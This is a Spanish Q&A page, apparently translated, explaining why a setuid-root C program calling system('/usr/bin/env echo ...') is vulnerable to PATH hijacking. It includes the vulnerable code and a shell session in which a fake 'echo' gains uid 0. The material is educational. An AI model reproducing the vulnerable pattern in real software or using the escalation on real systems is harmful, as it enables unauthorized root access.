razones - rfc 3261 español
¿Qué es vulnerable acerca de este código C? (1)
Puede anular la variable PATH
para apuntar a un directorio con su versión personalizada de echo
y dado que echo
se ejecuta usando env
, no se trata como un built-in.
Esto constituye una vulnerabilidad solo si el código se ejecuta como usuario con privilegios.
En el siguiente ejemplo, el archivo vc contiene el código de la pregunta.
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d/n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
Tenga en cuenta que la configuración de ID de usuario real, ID de usuario efectivo y ID de usuario-set guardado mediante una llamada a setresuid()
antes de la llamada a system()
en el código vulnerable publicado en la pregunta permite aprovechar la vulnerabilidad incluso cuando solo la identificación de usuario efectiva se establece en una ID de usuario con privilegios y la ID de usuario real permanece sin privilegios (como es el caso, por ejemplo, cuando se depende del bit de identificación del usuario establecido en un archivo como se indicó anteriormente). Sin la llamada a setresuid()
el shell ejecutado por system()
reiniciaría la identificación de usuario efectiva de nuevo a la identificación de usuario real, haciendo que el exploit sea ineficaz. Sin embargo, en el caso cuando el código vulnerable se ejecuta con la identificación de usuario real de un usuario con privilegios, la llamada al system()
solo es suficiente. Citando la página sh
man:
Si el shell se inicia con el usuario efectivo (grupo) id no igual al usuario real (grupo) id, y la opción -p no se proporciona, no se leen archivos de inicio, las funciones de shell no se heredan del entorno, los SHELLOPTS la variable, si aparece en el entorno, se ignora y la identificación de usuario efectiva se establece en la identificación de usuario real. Si la opción -p se proporciona en la invocación, el comportamiento de inicio es el mismo, pero la identificación de usuario efectiva no se restablece.
Además, tenga en cuenta que setresuid()
no es portátil, pero setuid()
o setreuid()
también se pueden usar para el mismo efecto.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
Tal como lo entiendo, el código anterior permite la ejecución de código arbitrario (o programa): ¿qué hace que esto sea vulnerable y cómo se aprovecha esto?